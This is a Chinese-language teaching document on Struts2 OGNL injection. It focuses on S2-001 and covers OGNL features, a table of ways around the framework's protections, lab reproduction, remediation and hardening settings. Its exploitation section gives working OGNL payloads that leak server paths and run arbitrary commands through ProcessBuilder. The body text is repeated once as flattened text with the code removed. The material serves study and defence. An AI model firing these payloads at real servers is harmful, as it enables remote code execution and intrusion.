Struts2框架安全漏洞分析与利用研究
字数 2692 2025-08-29 22:41:32

Struts2框架安全漏洞分析与利用教学文档

1. Struts2框架概述

1.1 基本概念

  • MVC架构:Struts2是基于MVC(Model-View-Controller)设计模式的Web应用框架
  • 技术基础:Struts2融合了Struts1和WebWork的技术优势,核心机制基于WebWork
  • 核心特性
    • 使用"拦截器(Interceptor)"机制处理用户请求
    • 业务逻辑控制器与Servlet API完全解耦
    • 默认采用OGNL作为表达式语言

1.2 架构组成

  • Model:负责数据维护和业务逻辑(通常是Action类)
  • View:负责页面展示(Result)
  • Controller:通过代码控制请求流程

2. OGNL表达式语言

2.1 OGNL简介

  • 全称:Object-Graph Navigation Language
  • 功能:通过简洁语法访问对象属性、调用方法、创建集合、构造Map等
  • 示例person.address[0].province访问user1的person属性中第一个address的province字段

2.2 OGNL核心功能

功能类别 示例 说明
属性访问 name.length() 访问属性
方法调用 #user.hashCode() 调用方法
数组访问 "name".toCharArray()[0] 访问数组元素
集合操作 'admin' in {'user', 'admin', 'guest'} 判断元素是否在集合中
静态方法 @java.lang.Math@floor(10.9) 调用静态方法
静态字段 @com.demo.Constants@DEFAULT_TIMEOUT 访问静态字段
表达式组合 price=100, discount=0.8, price*discount 支持多个表达式组合
对象构造 new java.util.ArrayList() 创建新对象
Map构造 #{'key1':'value1', 'key2':'value2'} 构造Map

2.3 OGNL上下文

  • OgnlContext:本质是一个Map,包含以下核心元素:
    • _root:上下文的根对象
    • _values:以Map形式保存传入上下文的参数
    • ClassResolver:处理类加载的策略
    • TypeConverter:处理类型转换
    • MemberAccess:控制访问对象成员的权限策略

3. Struts2漏洞分析

3.1 漏洞根源

  • 核心问题:OGNL表达式解析过程中的未加限制或未正确过滤
  • 攻击方式:通过精心构造的恶意表达式执行任意方法调用、类加载、系统命令执行
  • 常见漏洞类型:远程命令执行(RCE)

3.2 防护机制与绕过

防护机制 描述 绕过方式
allowStaticMethodAccess 是否允许调用静态方法 通过OGNL动态修改配置
allowStaticFieldAccess 是否允许访问静态属性 通过反射设置私有属性访问权限
xwork.MethodAccessor.denyMethodExecution 防止OGNL调用方法 修改安全策略
excludedPackageNames/Classes 黑名单限制调用指定包或类 使用非黑名单类或方法

4. S2-001漏洞详解

4.1 漏洞信息

  • 影响版本:Struts 2.0.0 - 2.0.8
  • CVE编号:CVE-2007-4556
  • 漏洞原理
    • 用户提交表单数据验证失败时,后端使用OGNL表达式%{value}解析参数值
    • 重新填充到表单数据时执行了恶意OGNL表达式

4.2 漏洞复现

环境搭建

  1. 创建Maven项目并添加Struts2 2.0.8依赖
  2. 配置web.xml添加Struts2过滤器
  3. 创建Action类和JSP视图文件
  4. 配置struts.xml定义Action映射

关键配置

<!-- web.xml配置 -->
<filter>
    <filter-name>struts2</filter-name>
    <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
    <filter-name>struts2</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

漏洞探测

  • 输入测试:%{1111*11}
  • 预期结果:返回计算结果12221表明存在OGNL表达式注入

漏洞利用

  1. 获取Tomcat执行路径:
    %{"tomcatBinPath="+@java.lang.System@getProperty("user.dir")}
    
  2. 获取Web路径:
    %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#response.getWriter().println(#req.getRealPath('/')),#response.getWriter().flush(),#response.getWriter().close()}
    
  3. 执行任意命令:
    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

4.3 漏洞修复

  • 修复方案:在xwork 2.0.4中添加maxLoopCount属性限制递归解析的最大数目
  • 升级建议:升级到不受影响的Struts2版本

5. 漏洞利用流程分析

5.1 请求处理流程

  1. FilterDispatcher.doFilter:请求入口
  2. dispatcher.serviceAction:核心请求处理
    • 创建ActionProxy
    • 初始化DefaultActionInvocation
  3. 拦截器链执行
    • ParametersInterceptor处理请求参数
    • 通过OgnlValueStack.setValue设置参数值
  4. Action执行:调用目标Action的execute方法
  5. 结果渲染:执行Result实现类的execute方法

5.2 漏洞触发点

  1. ParametersInterceptor:处理请求参数时未充分过滤OGNL表达式
  2. TextParseUtil.translateVariables:对参数值进行二次解析
  3. OGNL表达式执行:通过while循环不断解析表达式导致任意代码执行

5.3 关键代码分析

// ParametersInterceptor.doIntercept
public String doIntercept(ActionInvocation invocation) throws Exception {
    Object action = invocation.getAction();
    // 获取并处理请求参数
    setParameters(action, new HashMap<String, Object>(), new HashSet<String>());
    return invocation.invoke();
}

// OgnlValueStack.setValue
public void setValue(String expr, Object value) {
    // 解析并执行OGNL表达式
    ognlUtil.setValue(expr, context, root, value, throwExceptionOnFailure);
}

// TextParseUtil.translateVariables
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
    // 解析%{}包裹的表达式
    while (true) {
        int start = expression.indexOf(open + "{");
        if (start == -1) {
            break;
        }
        // 递归解析导致漏洞
        String var = expression.substring(start + 2, end);
        Object o = stack.findValue(var, asType);
        // ...
    }
}

6. 防御措施

6.1 开发建议

  1. 禁用或限制OGNL表达式功能
  2. 严格过滤用户输入
  3. 关闭调试模式(devMode=false)
  4. 使用最新稳定版本框架

6.2 安全配置

<!-- struts.xml安全配置示例 -->
<constant name="struts.ognl.allowStaticMethodAccess" value="false"/>
<constant name="struts.devMode" value="false"/>
<constant name="struts.excludedClasses" value="java.lang.Object,java.lang.Runtime"/>

6.3 监控与检测

  1. 监控异常OGNL表达式执行
  2. 定期进行安全扫描
  3. 建立输入验证机制

7. 总结

Struts2框架的安全漏洞主要源于OGNL表达式的强大功能和缺乏足够的安全限制。S2-001漏洞展示了当用户输入被直接解析为OGNL表达式时可能导致的严重后果。理解Struts2的请求处理流程和OGNL表达式的工作机制对于发现和防御此类漏洞至关重要。开发者应当遵循安全最佳实践,及时更新框架版本,并实施严格的安全配置来降低风险。

Struts2框架安全漏洞分析与利用教学文档 1. Struts2框架概述 1.1 基本概念 MVC架构 :Struts2是基于MVC(Model-View-Controller)设计模式的Web应用框架 技术基础 :Struts2融合了Struts1和WebWork的技术优势,核心机制基于WebWork 核心特性 : 使用"拦截器(Interceptor)"机制处理用户请求 业务逻辑控制器与Servlet API完全解耦 默认采用OGNL作为表达式语言 1.2 架构组成 Model :负责数据维护和业务逻辑(通常是Action类) View :负责页面展示(Result) Controller :通过代码控制请求流程 2. OGNL表达式语言 2.1 OGNL简介 全称 :Object-Graph Navigation Language 功能 :通过简洁语法访问对象属性、调用方法、创建集合、构造Map等 示例 : person.address[0].province 访问user1的person属性中第一个address的province字段 2.2 OGNL核心功能 | 功能类别 | 示例 | 说明 | |---------|------|------| | 属性访问 | name.length() | 访问属性 | | 方法调用 | #user.hashCode() | 调用方法 | | 数组访问 | "name".toCharArray()[0] | 访问数组元素 | | 集合操作 | 'admin' in {'user', 'admin', 'guest'} | 判断元素是否在集合中 | | 静态方法 | @java.lang.Math@floor(10.9) | 调用静态方法 | | 静态字段 | @com.demo.Constants@DEFAULT_TIMEOUT | 访问静态字段 | | 表达式组合 | price=100, discount=0.8, price*discount | 支持多个表达式组合 | | 对象构造 | new java.util.ArrayList() | 创建新对象 | | Map构造 | #{'key1':'value1', 'key2':'value2'} | 构造Map | 2.3 OGNL上下文 OgnlContext :本质是一个Map,包含以下核心元素: _root :上下文的根对象 _values :以Map形式保存传入上下文的参数 ClassResolver :处理类加载的策略 TypeConverter :处理类型转换 MemberAccess :控制访问对象成员的权限策略 3. Struts2漏洞分析 3.1 漏洞根源 核心问题 :OGNL表达式解析过程中的未加限制或未正确过滤 攻击方式 :通过精心构造的恶意表达式执行任意方法调用、类加载、系统命令执行 常见漏洞类型 :远程命令执行(RCE) 3.2 防护机制与绕过 | 防护机制 | 描述 | 绕过方式 | |---------|------|---------| | allowStaticMethodAccess | 是否允许调用静态方法 | 通过OGNL动态修改配置 | | allowStaticFieldAccess | 是否允许访问静态属性 | 通过反射设置私有属性访问权限 | | xwork.MethodAccessor.denyMethodExecution | 防止OGNL调用方法 | 修改安全策略 | | excludedPackageNames/Classes | 黑名单限制调用指定包或类 | 使用非黑名单类或方法 | 4. S2-001漏洞详解 4.1 漏洞信息 影响版本 :Struts 2.0.0 - 2.0.8 CVE编号 :CVE-2007-4556 漏洞原理 : 用户提交表单数据验证失败时,后端使用OGNL表达式 %{value} 解析参数值 重新填充到表单数据时执行了恶意OGNL表达式 4.2 漏洞复现 环境搭建 创建Maven项目并添加Struts2 2.0.8依赖 配置web.xml添加Struts2过滤器 创建Action类和JSP视图文件 配置struts.xml定义Action映射 关键配置 漏洞探测 输入测试: %{1111*11} 预期结果:返回计算结果 12221 表明存在OGNL表达式注入 漏洞利用 获取Tomcat执行路径: 获取Web路径: 执行任意命令: 4.3 漏洞修复 修复方案 :在xwork 2.0.4中添加maxLoopCount属性限制递归解析的最大数目 升级建议 :升级到不受影响的Struts2版本 5. 漏洞利用流程分析 5.1 请求处理流程 FilterDispatcher.doFilter :请求入口 dispatcher.serviceAction :核心请求处理 创建ActionProxy 初始化DefaultActionInvocation 拦截器链执行 : ParametersInterceptor处理请求参数 通过OgnlValueStack.setValue设置参数值 Action执行 :调用目标Action的execute方法 结果渲染 :执行Result实现类的execute方法 5.2 漏洞触发点 ParametersInterceptor :处理请求参数时未充分过滤OGNL表达式 TextParseUtil.translateVariables :对参数值进行二次解析 OGNL表达式执行 :通过while循环不断解析表达式导致任意代码执行 5.3 关键代码分析 6. 防御措施 6.1 开发建议 禁用或限制OGNL表达式功能 严格过滤用户输入 关闭调试模式(devMode=false) 使用最新稳定版本框架 6.2 安全配置 6.3 监控与检测 监控异常OGNL表达式执行 定期进行安全扫描 建立输入验证机制 7. 总结 Struts2框架的安全漏洞主要源于OGNL表达式的强大功能和缺乏足够的安全限制。S2-001漏洞展示了当用户输入被直接解析为OGNL表达式时可能导致的严重后果。理解Struts2的请求处理流程和OGNL表达式的工作机制对于发现和防御此类漏洞至关重要。开发者应当遵循安全最佳实践,及时更新框架版本,并实施严格的安全配置来降低风险。